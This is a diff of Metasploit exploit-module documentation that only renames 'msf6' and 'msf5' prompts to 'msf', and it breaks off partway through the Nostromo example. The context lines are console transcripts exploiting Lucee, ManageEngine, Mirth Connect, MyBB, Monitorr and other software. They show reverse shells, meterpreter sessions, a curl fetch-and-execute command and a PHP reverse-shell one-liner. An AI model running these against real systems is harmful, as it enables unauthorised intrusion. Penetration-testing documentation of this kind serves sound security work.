exploitation of a Windows 10 host running Lucee 5.3.10.120 executing whoami ``` -msf6 > use exploit/multi/http/lucee_scheduled_job +msf > use exploit/multi/http/lucee_scheduled_job [*] Using configured payload cmd/windows/generic -msf6 exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123 +msf exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123 PASSWORD => admin123 -msf6 exploit(multi/http/lucee_scheduled_job) > set CMD whoami +msf exploit(multi/http/lucee_scheduled_job) > set CMD whoami CMD => whoami -msf6 exploit(multi/http/lucee_scheduled_job) > set RHOSTS 10.0.0.164 +msf exploit(multi/http/lucee_scheduled_job) > set RHOSTS 10.0.0.164 RHOSTS => 10.0.0.164 -msf6 exploit(multi/http/lucee_scheduled_job) > run +msf exploit(multi/http/lucee_scheduled_job) > run [+] Authenticated successfully [*] Using URL: http://192.168.19.145:8081/UHn0jvUP2ZDtgwN.cfm @@ -143,21 +143,21 @@ msf6 exploit(multi/http/lucee_scheduled_job) > run ### Successful exploitation of a Docker host running Lucee 5.1.4.19 for a shell as Lucee ``` -msf6 > use exploit/multi/http/lucee_scheduled_job +msf > use exploit/multi/http/lucee_scheduled_job [*] Using configured payload cmd/windows/generic -msf6 exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123 +msf exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123 PASSWORD => admin123 -msf6 exploit(multi/http/lucee_scheduled_job) > set target 1 +msf exploit(multi/http/lucee_scheduled_job) > set target 1 target => 1 -msf6 exploit(multi/http/lucee_scheduled_job) > set payload cmd/unix/reverse_bash +msf exploit(multi/http/lucee_scheduled_job) > set payload cmd/unix/reverse_bash payload => cmd/unix/reverse_bash -msf6 exploit(multi/http/lucee_scheduled_job) > set LHOSTS 10.0.0.45 +msf exploit(multi/http/lucee_scheduled_job) > set LHOSTS 10.0.0.45 LHOST => 10.0.0.45 -msf6 exploit(multi/http/lucee_scheduled_job) > set RHOSTS 10.0.0.33 +msf exploit(multi/http/lucee_scheduled_job) > set RHOSTS 10.0.0.33 RHOSTS => 10.0.0.33 -msf6 exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123 +msf exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123 PASSWORD => admin123 -msf6 exploit(multi/http/lucee_scheduled_job) > run +msf exploit(multi/http/lucee_scheduled_job) > run [*] Started reverse TCP handler on 192.168.19.145:4444 [+] Authenticated successfully @@ -182,21 +182,21 @@ root ``` ### Successful exploitation of a Docker host running Lucee 5.1.4.19 executing whoami ``` -msf6 > use exploit/multi/http/lucee_scheduled_job +msf > use exploit/multi/http/lucee_scheduled_job [*] Using configured payload cmd/windows/generic -msf6 exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123 +msf exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123 PASSWORD => admin123 -msf6 exploit(multi/http/lucee_scheduled_job) > set target 1 +msf exploit(multi/http/lucee_scheduled_job) > set target 1 target => 1 -msf6 exploit(multi/http/lucee_scheduled_job) > set RHOSTS 127.0.0.1 +msf exploit(multi/http/lucee_scheduled_job) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 -msf6 exploit(multi/http/lucee_scheduled_job) > set payload cmd/unix/generic +msf exploit(multi/http/lucee_scheduled_job) > set payload cmd/unix/generic payload => cmd/unix/generic -msf6 exploit(multi/http/lucee_scheduled_job) > set CMD whoami +msf exploit(multi/http/lucee_scheduled_job) > set CMD whoami CMD => whoami -msf6 exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123 +msf exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123 PASSWORD => admin123 -msf6 exploit(multi/http/lucee_scheduled_job) > run +msf exploit(multi/http/lucee_scheduled_job) > run [+] Authenticated successfully [*] Using URL: http://192.168.19.145:8081/GCHSFzGe.cfm diff --git a/documentation/modules/exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966.md b/documentation/modules/exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966.md index 5b47720229c9e..aab561912f4b2 100644 --- a/documentation/modules/exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966.md +++ b/documentation/modules/exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966.md @@ -100,7 +100,7 @@ by default (`http(s)://:/samlLogin/LoginAuth`). ## Windows 2019 - Target 0 (Windows Command) ``` -msf6 exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > exploit rhosts=192.168.100.107 lhost=192.168.100.1 guid=e699eba710a6643f561a5f24ce3df0be1e1b5674 issuer_url=https://saml.example.com/entityid +msf exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > exploit rhosts=192.168.100.107 lhost=192.168.100.1 guid=e699eba710a6643f561a5f24ce3df0be1e1b5674 issuer_url=https://saml.example.com/entityid [*] Started reverse TCP handler on 192.168.100.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -122,7 +122,7 @@ Server username: NEWLAB\Administrator ## Windows 2019 - Target 1 (Windows EXE Dropper) ``` -msf6 exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > exploit rhosts=192.168.100.107 lhost=192.168.100.1 guid=e699eba710a6643f561a5f24ce3df0be1e1b5674 issuer_url=https://saml.example.com/entityid +msf exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > exploit rhosts=192.168.100.107 lhost=192.168.100.1 guid=e699eba710a6643f561a5f24ce3df0be1e1b5674 issuer_url=https://saml.example.com/entityid [*] Started reverse TCP handler on 192.168.100.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966.md b/documentation/modules/exploit/multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966.md index 23c6115a1c79b..3912a4b9e67a4 100644 --- a/documentation/modules/exploit/multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966.md +++ b/documentation/modules/exploit/multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966.md @@ -91,7 +91,7 @@ value. ### ServiceDesk Plus versions 14003 on Windows - Target 1 (`Windows Command`) ``` -msf6 exploit(multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966) > exploit rhosts=192.168.100.104 lhost=192.168.100.1 +msf exploit(multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966) > exploit rhosts=192.168.100.104 lhost=192.168.100.1 [*] Started reverse TCP handler on 192.168.100.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -113,9 +113,9 @@ Server username: NT AUTHORITY\SYSTEM ### ServiceDesk Plus versions 14003 on Windows - Target 0 (`Windows EXE Dropper`) ``` -msf6 exploit(multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966) > set target 0 +msf exploit(multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966) > set target 0 target => 0 -msf6 exploit(multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966) > exploit rhosts=192.168.100.104 lhost=192.168.100.1 +msf exploit(multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966) > exploit rhosts=192.168.100.104 lhost=192.168.100.1 [*] Started reverse TCP handler on 192.168.100.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -143,9 +143,9 @@ Server username: NT AUTHORITY\SYSTEM ### ServiceDesk Plus versions 14003 on Linux (Ubuntu) - Target 2 (`Unix Command`) ``` -msf6 exploit(multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966) > set target 2 +msf exploit(multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966) > set target 2 target => 2 -msf6 exploit(multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966) > exploit rhosts=192.168.100.109 lhost=192.168.100.1 +msf exploit(multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966) > exploit rhosts=192.168.100.109 lhost=192.168.100.1 [*] Started reverse TCP handler on 192.168.100.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -165,9 +165,9 @@ Server username: root ### ServiceDesk Plus versions 14003 on Linux (Ubuntu) - Target 2 (`Unix Dropper`) ``` -msf6 exploit(multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966) > set target 3 +msf exploit(multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966) > set target 3 target => 3 -msf6 exploit(multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966) > exploit rhosts=192.168.100.109 lhost=192.168.100.1 +msf exploit(multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966) > exploit rhosts=192.168.100.109 lhost=192.168.100.1 [*] Started reverse TCP handler on 192.168.100.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/maracms_upload_exec.md b/documentation/modules/exploit/multi/http/maracms_upload_exec.md index 98a2d60ee17f6..d71488e2c97f4 100644 --- a/documentation/modules/exploit/multi/http/maracms_upload_exec.md +++ b/documentation/modules/exploit/multi/http/maracms_upload_exec.md @@ -58,7 +58,7 @@ Id Name ## Scenarios ### MaraCMS 7.5 running on Windows Server 2012 (XAMPP server) - PHP target ``` -msf5 exploit(multi/http/maracms_upload_exec) > show options +msf exploit(multi/http/maracms_upload_exec) > show options Module options (exploit/multi/http/maracms_upload_exec): @@ -93,7 +93,7 @@ Exploit target: 0 PHP -msf5 exploit(multi/http/maracms_upload_exec) > run +msf exploit(multi/http/maracms_upload_exec) > run [*] Started reverse TCP handler on 192.168.1.12 :4444 [*] Executing automatic check (disable AutoCheck to override) @@ -115,7 +115,7 @@ meterpreter > ``` ### MaraCMS 7.5 running on Windows Server 2012 (XAMPP server) - Windows target ``` -msf5 exploit(multi/http/maracms_upload_exec) > run +msf exploit(multi/http/maracms_upload_exec) > run [*] Started reverse TCP handler on 1192.168.1.12:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/multi/http/microfocus_obm_auth_rce.md b/documentation/modules/exploit/multi/http/microfocus_obm_auth_rce.md index d9d282c054f25..e7a563d4774f6 100644 --- a/documentation/modules/exploit/multi/http/microfocus_obm_auth_rce.md +++ b/documentation/modules/exploit/multi/http/microfocus_obm_auth_rce.md @@ -50,19 +50,19 @@ Paste the cookie contents into this variable so that the module can perform the ## Scenarios ``` -msf6 > use exploit/multi/http/microfocus_obm_auth_rce +msf > use exploit/multi/http/microfocus_obm_auth_rce [*] Using configured payload java/meterpreter/reverse_tcp -msf6 exploit(multi/http/microfocus_obm_auth_rce) > set rhosts 10.0.0.10 +msf exploit(multi/http/microfocus_obm_auth_rce) > set rhosts 10.0.0.10 rhosts => 10.0.0.10 -msf6 exploit(multi/http/microfocus_obm_auth_rce) > set lhost 10.0.0.1 +msf exploit(multi/http/microfocus_obm_auth_rce) > set lhost 10.0.0.1 lhost => 10.0.0.1 -msf6 exploit(multi/http/microfocus_obm_auth_rce) > set srvhost 10.0.0.1 +msf exploit(multi/http/microfocus_obm_auth_rce) > set srvhost 10.0.0.1 srvhost => 10.0.0.1 -msf6 exploit(multi/http/microfocus_obm_auth_rce) > set lwsso_cookie_key "7j-OJPUrD25c8CYmZav3fIuzXlPk4tksYgXd3HiuCMKC_Qn4wT4D8Tc_ovwvtHPLCZRi1vsRIIyj9j4IVJiAAR_yDb3olzHTGD2J1haQU6sq_iJRDBKgl1eN3n3PHrc-yXa8jtXC3ltNmLPLkXPbdrx6zbbTEkxyMMn2Lg5co4bGSA6Z-_OtlMXgUexKPLLAzszXJuVxeF5b6-sc91F7ew.." +msf exploit(multi/http/microfocus_obm_auth_rce) > set lwsso_cookie_key "7j-OJPUrD25c8CYmZav3fIuzXlPk4tksYgXd3HiuCMKC_Qn4wT4D8Tc_ovwvtHPLCZRi1vsRIIyj9j4IVJiAAR_yDb3olzHTGD2J1haQU6sq_iJRDBKgl1eN3n3PHrc-yXa8jtXC3ltNmLPLkXPbdrx6zbbTEkxyMMn2Lg5co4bGSA6Z-_OtlMXgUexKPLLAzszXJuVxeF5b6-sc91F7ew.." lwsso_cookie_key => 7j-OJPUrD25c8CYmZav3fIuzXlPk4tksYgXd3HiuCMKC_Qn4wT4D8Tc_ovwvtHPLCZRi1vsRIIyj9j4IVJiAAR_yDb3olzHTGD2J1haQU6sq_iJRDBKgl1eN3n3PHrc-yXa8jtXC3ltNmLPLkXPbdrx6zbbTEkxyMMn2Lg5co4bGSA6Z-_OtlMXgUexKPLLAzszXJuVxeF5b6-sc91F7ew.. -msf6 exploit(multi/http/microfocus_obm_auth_rce) > check +msf exploit(multi/http/microfocus_obm_auth_rce) > check [*] 10.0.0.10:443 - The service is running, but could not be validated. -msf6 exploit(multi/http/microfocus_obm_auth_rce) > run +msf exploit(multi/http/microfocus_obm_auth_rce) > run [*] Started reverse TCP handler on 10.0.0.1:4444 [*] Using URL: http://10.0.0.1:8080/ diff --git a/documentation/modules/exploit/multi/http/microfocus_ucmdb_unauth_deser.md b/documentation/modules/exploit/multi/http/microfocus_ucmdb_unauth_deser.md index 2704ec534b414..6a89a9bea8883 100644 --- a/documentation/modules/exploit/multi/http/microfocus_ucmdb_unauth_deser.md +++ b/documentation/modules/exploit/multi/http/microfocus_ucmdb_unauth_deser.md @@ -37,15 +37,15 @@ All details about these vulnerabilities can be obtained from the advisory: ## Scenarios ``` -msf6 > use exploit/multi/http/microfocus_ucmdb_unauth_deser +msf > use exploit/multi/http/microfocus_ucmdb_unauth_deser [*] Using configured payload windows/meterpreter/reverse_tcp -msf6 exploit(multi/http/microfocus_ucmdb_unauth_deser) > set rhost 10.0.0.100 +msf exploit(multi/http/microfocus_ucmdb_unauth_deser) > set rhost 10.0.0.100 rhost => 10.0.0.100 -msf6 exploit(multi/http/microfocus_ucmdb_unauth_deser) > set lhost 10.0.0.1 +msf exploit(multi/http/microfocus_ucmdb_unauth_deser) > set lhost 10.0.0.1 lhost => 10.0.0.1 -msf6 exploit(multi/http/microfocus_ucmdb_unauth_deser) > check +msf exploit(multi/http/microfocus_ucmdb_unauth_deser) > check [+] 10.0.0.100:8443 - The target is vulnerable. -msf6 exploit(multi/http/microfocus_ucmdb_unauth_deser) > run +msf exploit(multi/http/microfocus_ucmdb_unauth_deser) > run [*] Started reverse TCP handler on 10.0.0.1:4444 [*] 10.0.0.100:8443 - Attacking Windows target diff --git a/documentation/modules/exploit/multi/http/mirth_connect_cve_2023_43208.md b/documentation/modules/exploit/multi/http/mirth_connect_cve_2023_43208.md index 88d38b619a823..157ebc1d6aeed 100644 --- a/documentation/modules/exploit/multi/http/mirth_connect_cve_2023_43208.md +++ b/documentation/modules/exploit/multi/http/mirth_connect_cve_2023_43208.md @@ -34,19 +34,19 @@ patched in Mirth Connect version 4.4.1. This module has been tested on versions Note that Python is not available in the docker container, so no Python payloads will work. ``` -msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set RHOSTS 192.168.159.128 +msf exploit(multi/http/mirth_connect_cve_2023_43208) > set RHOSTS 192.168.159.128 RHOSTS => 192.168.159.128 -msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set TARGET Unix\ Command +msf exploit(multi/http/mirth_connect_cve_2023_43208) > set TARGET Unix\ Command TARGET => Unix Command -msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set PAYLOAD cmd/linux/http +msf exploit(multi/http/mirth_connect_cve_2023_43208) > set PAYLOAD cmd/linux/http Display all 106 possibilities? (y or n) -msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(multi/http/mirth_connect_cve_2023_43208) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set LHOST 192.168.159.128 +msf exploit(multi/http/mirth_connect_cve_2023_43208) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 -msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set VERBOSE true +msf exploit(multi/http/mirth_connect_cve_2023_43208) > set VERBOSE true VERBOSE => true -msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > exploit +msf exploit(multi/http/mirth_connect_cve_2023_43208) > exploit [*] Command to run on remote host: curl -so /tmp/PFYkPcUX http://192.168.159.128:8080/jvE_gjDKxuQo86-91TitNQ; chmod +x /tmp/PFYkPcUX; /tmp/PFYkPcUX & [*] Fetch Handler listening on 192.168.159.128:8080 @@ -80,17 +80,17 @@ meterpreter > ### Mirth Connect 4.4.0 on Windows Server 2019 ``` -msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set RHOSTS 192.168.159.10 +msf exploit(multi/http/mirth_connect_cve_2023_43208) > set RHOSTS 192.168.159.10 RHOSTS => 192.168.159.10 -msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set TARGET Windows\ Command +msf exploit(multi/http/mirth_connect_cve_2023_43208) > set TARGET Windows\ Command TARGET => Windows Command -msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set PAYLOAD cmd/windows/powershell/x64/meterpreter/reverse_tcp +msf exploit(multi/http/mirth_connect_cve_2023_43208) > set PAYLOAD cmd/windows/powershell/x64/meterpreter/reverse_tcp PAYLOAD => cmd/windows/powershell/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set LHOST 192.168.159.128 +msf exploit(multi/http/mirth_connect_cve_2023_43208) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 -msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set VERBOSE true +msf exploit(multi/http/mirth_connect_cve_2023_43208) > set VERBOSE true VERBOSE => true -msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > run +msf exploit(multi/http/mirth_connect_cve_2023_43208) > run [*] Powershell command length: 4418 [*] Started reverse TCP handler on 192.168.159.128:4444 diff --git a/documentation/modules/exploit/multi/http/monitorr_webshell_rce_cve_2020_28871.md b/documentation/modules/exploit/multi/http/monitorr_webshell_rce_cve_2020_28871.md index c8b568b5707e0..32d7ae894d0b4 100644 --- a/documentation/modules/exploit/multi/http/monitorr_webshell_rce_cve_2020_28871.md +++ b/documentation/modules/exploit/multi/http/monitorr_webshell_rce_cve_2020_28871.md @@ -52,9 +52,9 @@ For the native PHP target, by default the `eval()` function will be used for nat ### Monitorr 1.7.6m on Ubuntu Linux 22.04 - PHP Meterpreter session ``` -msf6 > use exploit/multi/http/monitorr_webshell_rce_cve_2020_28871 +msf > use exploit/multi/http/monitorr_webshell_rce_cve_2020_28871 [*] Using configured payload php/meterpreter/reverse_tcp -msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > options +msf exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > options Module options (exploit/multi/http/monitorr_webshell_rce_cve_2020_28871): Name Current Setting Required Description ---- --------------- -------- ----------- @@ -88,15 +88,15 @@ Exploit target: -- ---- 0 PHP View the full module info with the info, or info -d command. -msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > set rhosts 192.168.201.34 +msf exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > set rhosts 192.168.201.34 rhosts => 192.168.201.34 -msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > set lhost 192.168.201.10 +msf exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > set lhost 192.168.201.10 lhost => 192.168.201.10 -msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > set lport 4444 +msf exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > set lport 4444 lport => 4444 -msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > set target 0 +msf exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > set target 0 target => 0 -msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > exploit +msf exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > exploit [*] Started reverse TCP handler on 192.168.201.10:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -117,9 +117,9 @@ meterpreter > ### Monitorr 1.7.6m on Ubuntu Linux 22.04 - bash reverse shell ``` -msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > set target 1 +msf exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > set target 1 target => 1 -msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > exploit +msf exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > exploit [*] Started reverse TCP handler on 192.168.201.10:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -136,9 +136,9 @@ uid=33(www-data) gid=33(www-data) groups=33(www-data) ### Monitorr 1.7.6m on Ubuntu Linux 22.04 - Linux Dropper Meterpreter session ``` -msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > set target 2 +msf exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > set target 2 target => 2 -msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > exploit +msf exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > exploit [*] Started reverse TCP handler on 192.168.201.10:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -166,13 +166,13 @@ meterpreter > ### Monitorr 1.7.6m on Windows Data Center 2019 - Powershell Meterpreter session ``` -msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > set rhosts 192.168.201.36 +msf exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > set rhosts 192.168.201.36 rhosts => 192.168.201.36 -msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > check +msf exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > check [+] 192.168.201.36:80 - The target is vulnerable. Monitorr version: 1.7.6m -msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > set target 3 +msf exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > set target 3 target => 3 -msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > exploit +msf exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > exploit [*] Started reverse TCP handler on 192.168.201.10:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -197,9 +197,9 @@ meterpreter > ### Monitorr 1.7.6m on Windows Data Center 2019 - Windows Dropper Meterpreter session ``` -msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > set target 4 +msf exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > set target 4 target => 4 -msf6 exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > exploit +msf exploit(multi/http/monitorr_webshell_rce_cve_2020_28871) > exploit [*] Started reverse TCP handler on 192.168.201.10:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/mybb_rce_cve_2022_24734.md b/documentation/modules/exploit/multi/http/mybb_rce_cve_2022_24734.md index 59faec88280d3..929aa82891c57 100644 --- a/documentation/modules/exploit/multi/http/mybb_rce_cve_2022_24734.md +++ b/documentation/modules/exploit/multi/http/mybb_rce_cve_2022_24734.md @@ -161,7 +161,7 @@ The password of the MyBB account. ### Windows (target 0 - PHP) ``` -msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.1.44 RHOSTS=192.168.1.215 USERNAME=msfuser PASSWORD=123456 +msf exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.1.44 RHOSTS=192.168.1.215 USERNAME=msfuser PASSWORD=123456 [*] Started reverse TCP handler on 192.168.1.44:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] MyBB forum found running at / @@ -187,7 +187,7 @@ Meterpreter : php/windows ### Linux (target 0 - PHP) ``` -msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.0.48 RHOSTS=127.0.0.1 RPORT=8080 USERNAME=msfuser PASSWORD=123456 +msf exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.0.48 RHOSTS=127.0.0.1 RPORT=8080 USERNAME=msfuser PASSWORD=123456 [*] Started reverse TCP handler on 192.168.0.48:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] MyBB forum found running at / @@ -213,9 +213,9 @@ Meterpreter : php/linux ### Linux (target 1 - Unix (In-Memory)) ``` -msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > set target 1 +msf exploit(multi/http/mybb_rce_cve_2022_24734) > set target 1 target => 1 -msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.0.48 RHOSTS=127.0.0.1 RPORT=8080 USERNAME=msfuser PASSWORD=123456 +msf exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.0.48 RHOSTS=127.0.0.1 RPORT=8080 USERNAME=msfuser PASSWORD=123456 [+] php -r '$ctxt=stream_context_create(["ssl"=>["verify_peer"=>false,"verify_peer_name"=>false]]);while($s=@stream_socket_client("ssl://192.168.0.48:4444",$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){while($l=fgets($s)){exec($l,$o);$o=implode("\n",$o);$o.="\n";fputs($s,$o);}}'& [*] Started reverse SSL handler on 192.168.0.48:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -247,7 +247,7 @@ Abort session 3? [y/N] y ### Linux (target 2 - linux (Dropper)) ``` -msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.0.48 RHOSTS=127.0.0.1 RPORT=8080 USERNAME=msfuser PASSWORD=123456 +msf exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.0.48 RHOSTS=127.0.0.1 RPORT=8080 USERNAME=msfuser PASSWORD=123456 [*] Started reverse TCP handler on 192.168.0.48:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] MyBB forum found running at / @@ -278,9 +278,9 @@ Meterpreter : x86/linux ### Windows (target 3 - Windows (In-Memory)) ``` -msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > set target 4 +msf exploit(multi/http/mybb_rce_cve_2022_24734) > set target 4 target => 4 -msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.1.44 RHOSTS=192.168.1.215 USERNAME=msfuser PASSWORD=123456 +msf exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.1.44 RHOSTS=192.168.1.215 USERNAME=msfuser PASSWORD=123456 [*] Powershell command length: 4160 [*] Started reverse TCP handler on 192.168.1.44:4444 @@ -313,9 +313,9 @@ Meterpreter : x86/windows ### Windows (target 4 - Windows (Dropper)) ``` -msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > set target 5 +msf exploit(multi/http/mybb_rce_cve_2022_24734) > set target 5 target => 5 -msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.1.44 RHOSTS=192.168.1.215 USERNAME=msfuser PASSWORD=123456 +msf exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.1.44 RHOSTS=192.168.1.215 USERNAME=msfuser PASSWORD=123456 [*] Started reverse TCP handler on 192.168.1.44:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] MyBB forum found running at / diff --git a/documentation/modules/exploit/multi/http/navigate_cms_rce.md b/documentation/modules/exploit/multi/http/navigate_cms_rce.md index 9b47e11b5eded..89984bd39daba 100644 --- a/documentation/modules/exploit/multi/http/navigate_cms_rce.md +++ b/documentation/modules/exploit/multi/http/navigate_cms_rce.md @@ -26,12 +26,12 @@ This module was tested against Navigate CMS 2.8. ### Navigate CMS on Ubuntu 18.04 ``` -msf5 > use exploit/multi/http/navigate_cms_rce -msf5 exploit(multi/http/navigate_cms_rce) > set RHOST 192.168.178.45 +msf > use exploit/multi/http/navigate_cms_rce +msf exploit(multi/http/navigate_cms_rce) > set RHOST 192.168.178.45 RHOST => 192.168.178.45 -msf5 exploit(multi/http/navigate_cms_rce) > check +msf exploit(multi/http/navigate_cms_rce) > check [*] 192.168.178.45:80 The target appears to be vulnerable. -msf5 exploit(multi/http/navigate_cms_rce) > exploit +msf exploit(multi/http/navigate_cms_rce) > exploit [*] Started reverse TCP handler on 192.168.178.35:4444 [+] Login bypass successful diff --git a/documentation/modules/exploit/multi/http/nostromo_code_exec.md b/documentation/modules/exploit/multi/http/nostromo_code_exec.md index cb56bfc570031..eafa3278382dc 100644 --- a/documentation/modules/exploit/multi/http/nostromo_code_exec.md +++ b/documentation/modules/exploit/multi/http/nostromo_code_exec.md @@ -24,22 +24,22 @@ Nostromo sources can be downloaded from http://www.nazgul.ch/dev_nostromo.html Example utilizing nostromo 1.9.6 on Ubuntu Linux. ``` -msf5 > use exploit/multi/http/nostromo_code_exec -msf5 exploit(multi/http/nostromo_code_exec) > set RHOSTS 192.168.1.9 +msf > use exploit/multi/http/nostromo_code_exec +msf exploit(multi/http/nostromo_code_exec) > set RHOSTS 192.168.1.9 RHOSTS => 192.168.1.9 -msf5 exploit(multi/http/nostromo_code_exec) > set RPORT 8000 +msf exploit(multi/http/nostromo_code_exec) > set RPORT 8000 RPORT => 8000 -msf5 exploit(multi/http/nostromo_code_exec) > check +msf exploit(multi/http/nostromo_code_exec) > check [*] 192.168.1.9:8000 - The target appears to be vulnerable. -msf5 exploit(multi/http/nostromo_code_exec) > set target 1 +msf exploit(multi/http/nostromo_code_exec) > set target 1 target => 1 -msf5 exploit(multi/http/nostromo_code_exec) > set payload linux/x86/meterpreter/reverse_tcp +msf exploit(multi/http/nostromo_code_exec) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp -msf5 exploit(multi/http/nostromo_code_exec) > set LHOST 192.168.1.10 +msf 